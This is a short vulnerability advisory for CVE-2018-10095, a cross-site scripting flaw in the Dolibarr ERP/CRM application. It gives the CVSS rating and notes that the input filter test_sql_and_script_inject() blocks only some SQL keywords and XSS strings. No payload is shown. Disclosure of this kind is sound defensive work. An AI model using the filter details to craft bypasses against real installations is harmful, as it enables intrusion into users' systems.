Subject: Dolibarr XSS Injection vulnerability

# [CVE-2018-10095] Dolibarr XSS Injection vulnerability

## Description

Dolibarr is an "Open Source ERP & CRM for Business" used by many
companies worldwide.

It is available through [GitHub](
or as distribution packages (e.g .deb package).


The application does not handle user input properly, allowing
client-side JavaScript code injection (XSS).


User input should be filtered to avoid arbitrary HTML injection.

## Vulnerability type

**CVE ID**: CVE-2018-10095

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-79

**CVSS Base Score**: 7.4

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

## Details

Checks are enforced on user input via the `test_sql_and_script_inject()`
function, which forbids some SQL keywords (e.g `union`, `create`,
`insert`) and some XSS-related strings (`onfocus`, for instance).
